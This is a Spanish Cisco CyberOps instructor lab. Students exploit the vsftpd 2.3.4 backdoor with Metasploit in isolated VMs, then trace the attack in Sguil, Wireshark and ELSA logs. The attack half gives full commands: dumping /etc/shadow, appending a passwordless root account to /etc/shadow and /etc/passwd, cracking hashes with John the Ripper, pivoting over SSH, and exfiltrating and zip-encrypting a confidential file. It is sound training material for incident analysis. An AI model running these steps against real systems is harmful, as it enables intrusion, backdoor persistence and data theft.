Última actualización: octubre 18, 2022
12.4.1.2 Práctica de laboratorio: Host comprometido aislado utilizando el método de cinco tuplas (versión para el instructor)
Nota para el instructor: Los elementos con color de fuente rojo o resaltados en gris indican texto que aparece solo en la copia del instructor.
Topología
Objetivos
En esta práctica de laboratorio revisarán archivos de registro durante el ataque a una vulnerabilidad documentada para determinar los hosts y el archivo comprometidos.
Parte 1: Preparar el entorno virtual
Parte 2: Reconocimiento
Parte 3: Ataque
Parte 4: Infiltración
Parte 5: Revisar los archivos de registro
Antecedentes / Escenario
Los administradores de TI utilizan 5-Tuple cuando necesitan identificar los requisitos necesarios para crear un entorno de red operativo y seguro. Los componentes de 5-Tuple son los siguientes: la dirección IP y el número de puerto de origen, la dirección IP y el número de puerto de destino y el protocolo en uso.
En esta práctica de laboratorio atacarán un servidor vulnerable con ataques conocidos.
También revisarán los archivos de registro para determinar los hosts y el archivo afectados.
Recursos necesarios
- Servidor con al menos 8 GB de RAM y 35 GB de espacio libre en disco.
- Versión más reciente de Oracle VirtualBox
- Conexión a Internet
- Cuatro máquinas virtuales:
Máquina virtual | RAM | Espacio en disco | Usuario | Contraseña |
---|---|---|---|---|
VM CyberOps Workstation | 1GB | 7GB | analyst | cyberops |
Kali | 1GB | 10GB | Raíz | cyberops |
Metasploitable | 512KB | 8GB | msfadmin | msfadmin |
Security Onion | 3 GB | 10GB | analyst | cyberops |
Parte 1: Preparar el entorno virtual
a. Abran Oracle VirtualBox.
b. En la ventana de CyberOps Workstation, verifiquen que la red esté definida en Internal Network (Red interna). Seleccionen Machine > Settings > Network (Máquina > Configuración > Red). En Attached To (Conectada a), seleccionen Internal Network. En el menú desplegable junto a Nombre, seleccione interna; luego, haga clic en Aceptar.
c. Abran las máquinas virtuales CyberOps Workstation, Kali, Metasploitable y Security Onion e inicien sesión en ellas.
d. En la VM CyberOps Workstation VM, abran un terminal y configuren la red; para ello, ejecuten el script sh.
Como el script requiere privilegios de usuario avanzado, introduzcan la contraseña correspondiente al usuario analyst.
[analyst@secOps~]$ sudo ./lab.support.files/scripts/configure_as_static.sh [sudo] contraseña para analyst: Configurar la NIC de la siguiente manera: IP: 192.168.0.11/24 GW: 192.168.0.1 Configuración de IP exitosa. [analyst@secOps ~]$
e. En la VM Security Onion, hagan clic derecho en el Escritorio > Open Terminal Here (Abrir terminal aquí). Introduzca el comando sudo service nsm status para verificar que todos los servidores y sensores estén listos. Este proceso podría demorar unos instantes. Si algunos servicios reportan una falla (FAIL), repitan el comando según sea necesario hasta que todos los estados sean OK antes de pasar a la parte siguiente.
analyst@SecOnion:~/Desktop$ sudo service nsm status Status: securityonion * sguil server [ OK ] Status: HIDS * ossec_agent (sguil) [ OK ] Status: Bro Name Type Host Status Pid Started manager manager localhost running 5577 26 Jun 10:04:27 proxy proxy localhost running 5772 26 Jun 10:04:29 seconion-eth0-1 worker localhost running 6245 26 Jun 10:04:33 seconion-eth1-1 worker localhost running 6247 26 Jun 10:04:33 seconion-eth2-1 worker localhost running 6246 26 Jun 10:04:33 Status: seconion-eth0 * netsniff-ng (full packet data) [ OK ] * pcap_agent (sguil) [ OK ] * snort_agent-1 (sguil) [ OK ] * snort-1 (alert data) [ OK ] * barnyard2-1 (spooler, unified2 format) [ OK ] <output omitted>
Parte 2: Reconocimiento
En esta parte utilizarán nmap para determinar si la VM Metasploitable tiene alguna vulnerabilidad asociada con vsftpd versión 2.3.4.
a. En la VM Security Onion, introduzcan date para mostrar la fecha y hora.
analyst@SecOnion:~/Desktop$ date
Registren su fecha y hora.
Las respuestas pueden variar.
b. En la VM Kali, hagan clic derecho en el escritorio y seleccionen Open Terminal (Abrir terminal).
c. Con las opciones de nmap, utilizarán un script para probar si hay alguna vulnerabilidad FTP en la VM Metasploitable VM en 209.165.200.235. Introduzcan el siguiente comando:
root@kali:~# nmap --script ftp-vsftpd-backdoor 209.165.200.235 –-reason > ftpd.txt
Los resultados se redireccionan y se guardan en el archivo de texto ftpd.txt. Este proceso demorará unos instantes.
d. Cuando retorne el cursor, abran el archivo de texto que contiene los resultados de nmap.
root@kali:~# cat ftpd.txt
En el resultado se ve la vulnerabilidad vsftpd y otros puertos abiertos que son detectados por nmap en la VM Metasploitable. En esta práctica de laboratorio atacarán la vulnerabilidad con el puerto 21.
Starting Nmap 7.40 ( https://nmap.org ) at 11/07/2017 11:34 EDT Nmap scan report for 209.165.200.235 Host is up, received echo-reply ttl 63 (0.0011s latency). Not shown: 977 closed ports Reason: 977 resets PORT STATE SERVICE REASON 21/tcp open ftp syn-ack ttl 63 | ftp-vsftpd-backdoor: | VULNERABLE: | vsFTPd version 2.3.4 backdoor | State: VULNERABLE (Exploitable) | Id: OSVDB:73573 CVE:CVE-2011-2523 |vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04. |Disclosure date: 2011-07-03 |Exploit results: |Shell command: id |Results: uid=0(root) gid=0(root) |References: |http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html |https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523 |http://osvdb.org/73573 <output omitted>
Parte 3: Explotación
Ahora que han determinado que pudieron obtener acceso raíz a la VM Metasploitable, atacarán la vulnerabilidad vsftp para obtener el control total de la VM Metasploitable. Afectarán al archivo /etc/shadow para poder obtener acceso a los otros hosts de la red.
Paso 1: Configurar el ataque
En este paso utilizarán Metasploit Framework para iniciar el ataque contra la VM Metasploitable por medio de vsftpd. Metasploit Framework es una herramienta diseñada para desarrollar e iniciar ataques contra un host objetivo remoto. También se puede utilizar para probar la vulnerabilidad de un host.
a. En un terminal de la VM Kali, introduzca msfconsole en el indicador para iniciar el marco Metasploit. Esto demorará unos instantes.
root@kali:~# msfconsole
b. En el indicador msf, escriba search vsftpd para buscar el módulo asociado con la puerta trasera VSFTPD v2.3.4. Utilizarán este módulo para el ataque. Esta búsqueda demorará unos instantes mientras se genera la base de datos por primera vez.
msf > search vsftpd [!] Module database cache not built yet, using slow search Matching Modules ================ Name Disclosure Date Rank Description ---- --------------- ---- ----------- exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent VSFTPD v2.3.4 Backdoor Command Execution
c. Se encontró el ataque. Introduzcan el siguiente comando en el cursor para utilizar el ataque de puerta trasera vsftp.
msf > use exploit/unix/ftp/vsftpd_234_backdoor
d. En el cursor del ataque, definan el host objetivo como la VM Metasploitable.
msf exploit(vsftpd_234_backdoor) > set rhost 209.165.200.235 rhost => 209.165.200.235
e. Verifiquen la configuración del ataque. Introduzcan show options en el cursor.
msf exploit(vsftpd_234_backdoor) > show options Module options (exploit/unix/ftp/vsftpd_234_backdoor): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST 209.165.200.235 yes The target address RPORT 21 yes The target port (TCP) Exploit target: Nombre de ID -- ---- 0 Automatic
Paso 2: Ejecutar el ataque
Ahora utilizarán el ataque vsftpd para obtener acceso raíz a la VM Metaspoitable.
a. Introduzcan el comando exploit en el indicador para ejecutar el ataque.
msf exploit(vsftpd_234_backdoor) > exploit [*] 209.165.200.235:21 - Banner: 220 (vsFTPd 2.3.4) [*] 209.165.200.235:21 - USER: 331 Please specify the password. [+] 209.165.200.235:21 - Backdoor service has been spawned, handling... [+] 209.165.200.235:21 - UID: uid=0(root) gid=0(root) [*] Found shell. [*] Command shell session 1 opened (209.165.201.17:33985 -> 209.165.200.235:6200) at 2017-07-11 11:53:35 -0400 <No se muestra ningún indicador del sistema>
b. Con esto se ingresa al terminal de Metasploit Framework y ahora podrán tener acceso raíz a la VM Metasploitable desde el host Kali. Observen que no se muestra ningún cursor del sistema. Introduzcan whoami para verificar que tienen acceso raíz a la VM Metasploitable.
whoami
¿Cuál es el nombre de usuario actual?
root
c. Introduzcan hostname para verificar el nombre del host.
hostname
¿Cuál es el nombre del host?
metasploitable
d. La dirección IP de la VM Metasploit es 209.165.200.235. Introduzcan ifconfig para verificar la dirección IP en el host actual.
ifconfig eth0 Link encap:Ethernet HWaddr 08:00:27:15:91:86 inet addr:209.165.200.235 Bcast:209.165.200.255 Mask:255.255.255.224 inet6 addr: fe80::a00:27ff:fe15:9186/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:78058 errors:2 dropped:0 overruns:0 frame:0 TX packets:195672 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:11803523 (11.2 MB) TX bytes:91415071 (87.1 MB) Interrupt:10 Base address:0xd020 lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:1048 errors:0 dropped:0 overruns:0 frame:0 TX packets:1048 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:450261 (439.7 KB) TX bytes:450261 (439.7 KB)
e. Para obtener el control total de la VM Metasploitable, lo primero que tiene que hacer es mostrar el contenido del archivo /etc/shadow. En el archivo /etc/shadow se guarda la información de la contraseña en un formato cifrado para las cuentas del sistema, junto con información opcional sobre la antigüedad.
Introduzca el comando cat /etc/shadow para mostrar el contenido.
cat /etc/shadow root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7::: daemon:*:14684:0:99999:7::: bin:*:14684:0:99999:7::: sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:14742:0:99999:7::: sync:*:14684:0:99999:7::: games:*:14684:0:99999:7::: man:*:14684:0:99999:7::: <some output omitted> mysql:!:14685:0:99999:7::: tomcat55:*:14691:0:99999:7::: distccd:*:14698:0:99999:7::: user:$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0:14699:0:99999:7::: service:$1$kR3ue7JZ$7GxELDupr5Ohp6cjZ3Bu//:14715:0:99999:7::: telnetd:*:14715:0:99999:7::: proftpd:!:14727:0:99999:7::: statd:*:15474:0:99999:7::: analyst:$1$uvEqE7eT$x6gczc318aD6mhxOFZqXE.:17338:0:99999:7:::
f. Resalten el contenido de /etc/shadow, hagan clic derecho sobre el contenido resaltado y seleccionen Copy (Copiar).
g. Abran un terminal nuevo en la VM Kali e inicien el editor de texto nano. Escriba nano /root/shadow.txt en el indicador.
root@kali:~# nano /root/shadow.txt
h. Hagan clic derecho sobre el espacio en blanco en nano y seleccionen Paste (Pegar). Después de haber pegado el contenido, quite todas las líneas en blanco de la parte inferior, si es necesario. Presione Ctrl-X para guardar y salir de nano. Presionen y cuando el sistema les pida guardar el archivo y aceptar el nombre de archivo shadow.txt.
Este archivo /root/shadow.txt guardado se utilizará en un paso siguiente con John the Ripper para decodificar las contraseñas de los nombres de inicio de sesión y así poder acceder al sistema en forma remota a través de SSH.
i. En el mismo terminal, introduzcan el comando cat y grep para mostrar solo los detalles correspondientes al usuario root.
root@kali@~# cat /root/shadow.txt | grep root root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::
Observen que el signo de dos puntos (:) separa cada línea en 9 campos. Si utilizamos la cuenta del usuario root como ejemplo, root es el nombre de inicio de sesión y $1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid. es la contraseña cifrada. En los siguientes 6 campos se definen las configuraciones correspondientes a la contraseña, como la fecha del último cambio, la antigüedad mínima y máxima de la contraseña y su fecha de vencimiento. El último campo se reserva para uso futuro.
Para obtener más información sobre el archivo /etc/shadow, escriba man shadow en un indicador del terminal.
j. Regresen al terminal de Metasploit Framework en la VM Kali. Agregarán un usuario nuevo myroot a la VM Metasploitable. Este usuario tendrá las mismas configuraciones de la contraseña que root.
Cuando estén creando el usuario nuevo utilizarán los mismos 9 campos que el usuario root; pero eliminarán la contraseña cifrada asociada con el usuario root y dejarán vacío el campo de la contraseña. Cuando el campo de la contraseña está vacío no se necesita ninguna contraseña para iniciar sesión como el usuario myroot.
El comando echo anexará una línea nueva para agregar el usuario nuevo myroot al archivo /etc/shadow.
Nota: Asegúrese de que haya dos signos de mayor (>); si no es así, sobrescribirá el archivo /etc/shadow actual.
echo "myroot::14747:0:99999:7:::" >> /etc/shadow
k. Verifiquen que hayan agregado el usuario nuevo myroot a /etc/shadow.
cat /etc/shadow <output omitted> myroot::14747:0:99999:7:::
¿Por qué fue necesario copiar el contenido del archivo /etc/shadow a un archivo de texto nuevo en la VM Kali?
Pista: ¿Qué sucedería si introdujera cat /etc/shadow > /root/shadow.txt en la consola de Metasploit Framework?
El archivo /root/shadow.txt se guardará en Metasploitable, en lugar de la máquina virtual de Kali.
l. Para permitir que myroot inicie sesión con privilegios elevados, agregará el usuario myroot con el mismo número de Id. de usuario (UID), el mismo número de Id. de grupo (GID) del usuario, la misma descripción del usuario, el mismo directorio de inicio del usuario y el mismo shell de inicio de sesión que el usuario root al archivo /etc/passwd. El signo de dos puntos (:) separa los campos, y la x del segundo campo representa la contraseña correspondiente al usuario. La contraseña cifrada se puede encontrar en el archivo /etc/shadow correspondiente al mismo usuario.
Regresen a la ventana del terminal de la conexión remota de Metasploitable e introduzcan el comando cat para ver la información correspondiente al usuario root.
cat /etc/passwd | grep root root:x:0:0:root:/root:/bin/bash
m. Utilicen el siguiente comando echo para anexar la configuración correspondiente a myroot a /etc/password.
Nota: Asegúrese de que haya dos signos de mayor (>); si no es así, sobrescribirán el archivo /etc/shadow actual.
echo "myroot:x:0:0:root:/root:/bin/bash" >> /etc/passwd
Para obtener más información sobre el archivo /etc/passwd, escriban man 5 passwd en un cursor del terminal.
n. Verifiquen que hayan agregado el usuario nuevo myroot a /etc/passwd.
cat /etc/passwd <output omitted> myroot:x:0:0:root:/root:/bin/bash
Con acceso raíz, el usuario myroot tiene el control completo de la VM Metasploitable.
o. Escriban exit cuando hayan terminado.
exit [*] 209.165.200.235 - Command shell session 1 closed. Reason: Died from EOFError msf exploit(vsftpd_234_backdoor) >
p. Presionen Intro y escriban quit para salir de la consola de Metasploit Framework.
Parte 4: Infiltración
Paso 1: Decodificar las contraseñas con John the Ripper
John the Ripper es una herramienta que se utiliza para averiguar las contraseñas débiles de los usuarios. En este paso utilizarán John the Ripper para decodificar contraseñas débiles.
a. En el cursor raíz de la VM Kali, verifiquen que el archivo shadow esté en la carpeta /root de la VM Kali.
b. En el indicador raíz de la VM de Kali, introduzca el comando john para decodificar las contraseñas. Utilicen la opción show para ver la confiabilidad de las contraseñas decodificadas.
Nota: Se agregó la contraseña cyberops al archivo /usr/share/john/password.lst para acelerar el proceso de decodificación de las contraseñas.
root@kali:~# john --show /root/shadow.txt analyst:cyberops:17338:0:99999:7::: 1 password hash cracked, 7 left
Después de haber decodificado la contraseña correspondiente al usuario analyst, podrán acceder a Metasploitable a través de SSH con analyst como nombre de inicio de sesión.
Paso 2: Encontrar el host objetivo
En este paso utilizarán diferentes comandos para encontrar la dirección IP de un posible host en la red interna detrás de la DMZ.
a. Establezcan una sesión de SSH a la VM Metasploitable. Escriba sí para aceptar la firma digital de RSA cuando se conecte por primera vez. La conexión puede demorar unos instantes. Introduzcan cyberops como la contraseña cuando se los solicite el sistema.
root@kali:~# ssh [email protected] [email protected]'s password:
b. Verifiquen que tienen acceso raíz a Metasploitable. Escriban su -l myroot en el cursor. La opción es la letra minúscula L, no el número uno. Observen que el cursor pasó de analyst@metasploitable a root@metasploitable.
analyst@metasploitable:~$ su -l myroot root@metasploitable:~#
c. Muestren el archivo /etc/shadow.
root@metasploitable:~# cat /etc/shadow
d. Escriban exit en el cursor para regresar a los privilegios de acceso del usuario analyst.
e. Ahora muestren el archivo /etc/shadow como analyst.
analyst@metasploitable:~$ cat /etc/shadow
¿Por qué recibieron un mensaje de error? Registren el mensaje y explíquenlo.
Solo el propietario raíz y el usuario en el grupo shadow pueden leer el archivo /etc/shadow; el usuario analyst no tiene permiso para leer el archivo como lo indica el comando ls -l /etc/shadow. Puede ser leído por el usuario myroot porque myroot tiene privilegios de raíz.
f. Escriban ifconfig para generar una lista de todas las interfaces de red presentes en Metasploitable.
analyst@metasploitable:~$ ifconfig eth0 Link encap:Ethernet HWaddr 08:00:27:ab:84:07 inet addr:209.165.200.235 Bcast:209.165.200.255 Mask:255.255.255.224 inet6 addr: fe80::a00:27ff:feab:8407/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:1610 errors:0 dropped:0 overruns:0 frame:0 TX packets:1550 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:117030 (114.2 KB) TX bytes:123570 (120.6 KB) Interrupt:10 Base address:0xd020 <output omitted>
g. Escriban ip route para determinar el gateway predeterminado correspondiente a esta red.
analyst@metasploitable:~$ ip route 209.165.200.224/27 dev eth0 proto kernel scope link src 209.165.200.235 default via 209.165.200.226 dev eth0 metric 100
¿Cuál es el gateway predeterminado?
209.165.200.226
h. En la misma ventana del terminal, establezcan otra sesión de SSH a la VM Security Onion VM en 209.165.200.226 (interfaz eth1) como el usuario analyst. Escriban yes (sí) para aceptar la firma digital de RSA cuando se conecten por primera vez. La conexión podría demorar unos instantes. Utilicen la contraseña cyberops cuando se les solicite.
analyst@metasploitable:~$ ssh [email protected]
i. Escriban ifconfig para ver la lista de interfaces de red.
analyst@SecOnion:~$ ifconfig eth0 Link encap:Ethernet HWaddr 08:00:27:c3:cd:8c inet addr:192.168.0.1 Bcast:192.168.0.255 Mask:255.255.255.0 inet6 addr: fe80::a00:27ff:fec3:cd8c/64 Scope:Link UP BROADCAST RUNNING PROMISC MULTICAST MTU:1500 Metric:1 RX packets:8 errors:0 dropped:0 overruns:0 frame:0 TX packets:64 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:656 (656.0 B) TX bytes:9377 (9.3 KB) <output omitted>
j. Han determinado que la subred correspondiente a la red LAN es 192.168.0.0/24. Ahora utilizarán un bucle for para determinar los hosts activos en la red LAN. Para ahorrar tiempo, solo harán ping a los primeros 15 hosts.
analyst@SecOnion:~$ for ((i=1;i<15;i+=1)); do ping -c 2 192.168.0.$i; done PING 192.168.0.1 (192.168.0.1) 56(84) bytes of data. 64 bytes from 192.168.0.1: icmp_seq=1 ttl=64 time=0.067 ms 64 bytes from 192.168.0.1: icmp_seq=2 ttl=64 time=0.027 ms --- 192.168.0.1 ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 999ms rtt min/avg/max/mdev = 0.028/0.031/0.034/0.003 ms <output omitted> PING 192.168.0.11 (192.168.0.11) 56(84) bytes of data. 64 bytes from 192.168.0.11: icmp_seq=1 ttl=64 time=0.606 ms 64 bytes from 192.168.0.11: icmp_seq=2 ttl=64 time=0.262 ms --- 192.168.0.11 ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 999ms rtt min/avg/max/mdev = 0.262/0.434/0.606/0.172 ms <output omitted>
k. Solo 192.168.0.1 (eth0 de Security Onion) y 192.168.0.11 (VM CyberOps Workstation) están respondiendo las solicitudes ping. Establezcan una sesión de SSH en la VM CyberOps Workstation. Escriban yes (sí) para aceptar la firma digital de RSA cuando se conecten por primera vez. Introduzcan cyberops como la contraseña.
analyst@SecOnion:~$ ssh 192.168.0.11
Paso 3: Exfiltrar un archivo confidencial
Ahora tienen acceso a la VM CyberOps Workstation a través de una serie de sesiones de SSH (VM Kali > VM Security Onion > VM CyberOps Workstation) utilizando la contraseña que se decodificó en un paso anterior. Ahora accederán a un archivo confidencial y exfiltrarán el contenido.
a. Verifiquen que están en el directorio de inicio de analyst. Pasen al directorio support.files.
[analyst@secOps ~]$ cd lab.support.files
b. Generen una lista de los archivos del directorio. Verifiquen que el archivo confidential.txt esté en la carpeta.
c. Establezcan una sesión de FTP para la máquina virtual de Metasploitable. Utilice el usuario predeterminado analyst e introduzca cyberops como contraseña.
[analyst@secOps lab.support.files]$ ftp 209.165.200.235 Connected to 209.165.200.235. 220 (vsFTPd 2.3.4) Name (209.165.200.235:analyst): analyst 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp>
d. Carguen el archivo confidential.txt a la VM Metasplolitable. Ahora tienen acceso al archivo y pueden moverlo a la VM Kali para utilizarlo si así lo desean.
ftp> put confidential.txt 200 PORT command successful. Consider using PASV. 150 Ok to send data. 226 Transfer complete. 103 bytes sent in 0.000104 seconds (41.6 kbytes/s)
e. Escriban quit cuando hayan terminado de transferir el archivo.
Paso 4: Cifrar los datos y quitar los originales
a. A menudo, los actores de amenazas cifran los datos confidenciales y los almacenan a nivel local, posiblemente para exigir un rescate más adelante. Compriman el archivo confidential.txt con Zip y cífrenlo. Introduzcan cyberops como la contraseña.
analyst@secOps lab.support.files]$ zip -e confidential.zip confidential.txt Enter password: Verify password: adding: confidential.txt (deflated 4%)
b. Quiten el archivo confidential.txt de la VM CyberOps Workstation.
[analyst@secOps lab.support.files]$ rm confidential.txt
c. Escriban exit tres veces hasta regresar al cursor root@kali:~#.
d. Ahora el atacante puede copiar el archivo desde el FTP de la VM Metasploitable a la VM Kali. Esto podría demorar unos instantes. Introduzcan la contraseña cyberops cuando el sistema se los solicite.
root@kali:~# scp [email protected]:/home/analyst/confidential.txt ~ [email protected]'s password: confidential.txt 100% 102 102.1KB/s 00:00
Nota: Puede copiar el archivo directamente de la VM CyberOps Workstation a la VM Kali si hay alguna cuenta que no sea la de raíz configurada en la VM Kali. Como FTP transmite el contenido en texto plano, podrán verlo en los paquetes si utilizan Wireshark.
e. Si lo desean, pueden volver a iniciar sesión en Metasploitable y quitar el archivo confidential.txt del servidor FTP.
root@kali:~# ssh [email protected] [email protected]'s password: analyst@metasploitable:~$ rm confidential.txt
f. En este momento pueden apagar las máquinas virtuales Metasploitable, CyberOps Workstation y Kali.
Parte 5: Revisar los archivos de registro
Después del ataque, el usuario analyst ya no puede acceder al archivo de nombre confidential.txt. Ahora revisarán los archivos de registro para determinar de qué manera se vio afectado el archivo.
Nota: Si esta red fuese de producción, sería aconsejable que los usuarios analyst y root cambien sus contraseñas y cumplan con la política de seguridad vigente.
Paso 1: Revisar alertas en Sguil
a. Accedan a la VM Security Onion. Inicien sesión con el usuario analyst y la contraseña cyberops, si es necesario.
b. Abran Sguil e inicien sesión. Hagan clic en Select All (Seleccionar todo) y, luego, en Start SGUIL (Iniciar SGUIL).
c. Revisen los eventos que aparecen en la lista de la columna Event Message (Mensaje de eventos). Dos de los mensajes son GPL ATTACK_RESPONSE id check returned root. Este mensaje indica que es posible que se haya obtenido acceso raíz durante un ataque. El host de 209.165.200.235 devolvió el acceso raíz a 209.165.201.17. Seleccionen las casillas de verificación Show Packet Data (Mostrar datos del paquete) y Show Rule (Mostrar regla) para ver cada alerta más detalladamente.
d. Seleccionen el mensaje de raíz devuelto asociado con el Sensor seconion-eth1-1 para profundizar el análisis. En la figura de abajo, se utiliza el ID de alerta 5.2568 y sus eventos correlacionados. Sin embargo, es muy probable que sus ID de alerta sean otro número.
e. Hagan clic en el número que se encuentra debajo del encabezado CNT para seleccionar View Correlated Events (Ver eventos correlacionados).
f. En la ficha nueva, haga clic derecho sobre el ID de alerta correspondiente a una de las alertas GPL ATTACK_RESPONSE id check returned root y seleccione Transcripción. En este ejemplo se utiliza el ID de alerta 5.2570.
g. Revisen las transcripciones correspondientes a todas las alertas. En la última alerta de la ficha probablemente se mostrarán las transacciones entre Kali (actor de la amenaza) y Metasploitable (objetivo) durante el ataque.
¿Qué sucedió durante el ataque?
El atacante había obtenido acceso raíz a Metasploitable. Se agregó un usuario nuevo myroot sin ninguna contraseña al sistema.
Paso 2: Pasar a Wireshark
a. Seleccionen la alarma que les proporcionó la transcripción en el paso anterior. Hagan clic derecho sobre el ID de la alerta y seleccionen Wireshark. En la ventana principal de Wireshark se muestran 3 vistas de un paquete.
b. Para ver todos los paquetes ensamblados en una conversación de TCP, hagan clic derecho sobre cualquier paquete y seleccionen Follow TCP Stream (Seguir flujo de TCP).
¿Qué observaron? ¿Qué indican los colores de texto rojo y azul?
La secuencia TCP muestra la transacción entre Kali (agente de amenaza) que aparece en el texto en rojo y Metasploitable (destino) en el texto en azul. La información obtenida del flujo de TCP es la misma que la de la transcripción.
c. Salgan de la ventana del flujo de TCP. Cierren Wireshark cuando hayan terminado de revisar la información provista por Wireshark.
Paso 3: Utilizar ELSA para pasar a los archivos de registro de Bro
a. Regresen a Sguil. Haga clic derecho sobre la IP de origen o de destino correspondiente a la misma alerta GPL ATTACK_RESPONSE id check returned root y seleccione Búsqueda de IP con ELSA > DstIP. Introduzcan analyst como nombre de usuario y cyberops como contraseña cuando ELSA se los solicite.
Nota: Si ve el mensaje «Su conexión no es privada», haga clic en AVANZADAS > Proseguir al host local (inseguro) para continuar.
b. Hagan clic en bro_notice.
c. El resultado indica que 209.165.201.17 estaba realizando un escaneo de puertos en 209.165.200.235, la VM Metasploitable. El atacante probablemente encontró vulnerabilidades en la VM Metasploitable para obtener acceso.
d. Si un atacante se ha apoderado de Metasploitable, querrán determinar cuál fue el ataque que utilizó y a qué pudo acceder el atacante.
Paso 4: Regresar a Sguil para investigar el ataque
a. Diríjanse a Sguil y hagan clic en la ficha RealTime Events (Eventos en tiempo real). Localicen los eventos ET EXLOIT VSFTPD Backdoor User Login Smiley. Estos eventos son posibles ataques y tuvieron lugar dentro del período de acceso raíz no autorizado. En este ejemplo se utiliza el ID de alerta 5.2567.
b. Hagan clic derecho sobre el número que se encuentra debajo del encabezado de CNT y seleccionen View Correlated Events (Ver eventos correlacionados) para ver todos los eventos relacionados. Seleccionen el ID de alerta que comienza con 5. Esta alerta recopiló la información proveniente del sensor en la interfaz seconion-eth1-1.
c. En la ficha nueva con todos los eventos correlacionados, hagan clic derecho sobre el ID de alerta y seleccione Transcript (Transcripción) para ver cada alerta más detalladamente. En este ejemplo se utiliza el ID de alerta 5.2569. En la última alerta probablemente se mostrará la transmisión de TCP entre el atacante y la víctima.
d. También pueden hacer clic derecho sobre el ID de alerta y seleccionar Wireshark para revisar y guardar el archivo pcap y el flujo de TCP.
Paso 5: Utilizar ELSA para ver datos exfiltrados
a. Si quieren utilizar ELSA para obtener más información sobre la misma alerta de arriba, hagan clic derecho sobre la dirección IP de origen o sobre la de destino y seleccionen ELSA IP Lookup > DstIP.
b. Hagan clic en bro_ftp para ver los archivos de registro de ELSA relacionados con FTP.
c. ¿Qué archivo se transfirió por FTP a 209.165.200.235? ¿Quién es el dueño de la cuenta que se utilizó para transferir el archivo?
El archivo confidential.txt fue transferido por el usuario analyst.
d. Hagan clic en info para ver las transacciones en el último registro. El campo reply_msg indica que esta es la última entrada correspondiente a la transferencia del archivo confidential.txt. Hagan clic en Plugin > getPcap (Complemento > getPcap). Introduzcan el nombre de usuario analyst y la contraseña cyberops cuando el sistema se los solicite. Si es necesario, hagan clic en Submit (Enviar). CapMe es una interfaz web que les permite obtener una transcripción pcap y descargar el pcap.
La transcripción de pcap se traduce utilizando tcpflow, y esta página también proporciona el enlace para acceder al archivo pcap.
e. Para determinar el contenido del archivo afectado, hagan doble clic en el icono del escritorio para abrir ELSA y así abrir una ficha nueva y realizar otra búsqueda.
f. Expandan FTP y hagan clic en FTP Data (Datos de FTP). Hagan clic en uno de los enlaces de Información y seleccionen getPcap en el menú desplegable para determinar el contenido del archivo robado.
g. En el resultado se ve el contenido del archivo de nombre confidential.txt que se transfirió al servidor FTP.
Paso 6: Limpieza
Cierren todas las VM cuando hayan terminado.
Reflexión
En esta práctica de laboratorio han utilizado una vulnerabilidad para obtener acceso a información no autorizada y han revisado los archivos de registro como analistas especializados en ciberseguridad. Ahora resuman lo que aprendieron.
A partir de los archivos de registro de Sguil y ELSA se determinó que un atacante (209.165.201.17) aprovechó la vulnerabilidad vsftpd para obtener acceso raíz a 209.165.200.235. Utilizando el acceso raíz que obtuvo en el ataque, el delincuente agregó un usuario raíz nuevo myroot para obtener acceso raíz en el futuro. El atacante se apoderó del usuario analyst para obtener acceso a una estación de trabajo interna: 192.168.0.11. Utilizando la cuenta analyst, el atacante logró obtener acceso al archivo de nombre confidential.txt y lo transfirió por FTP a 209.165.200.235, dirección en la que tiene acceso remoto para recuperar el archivo.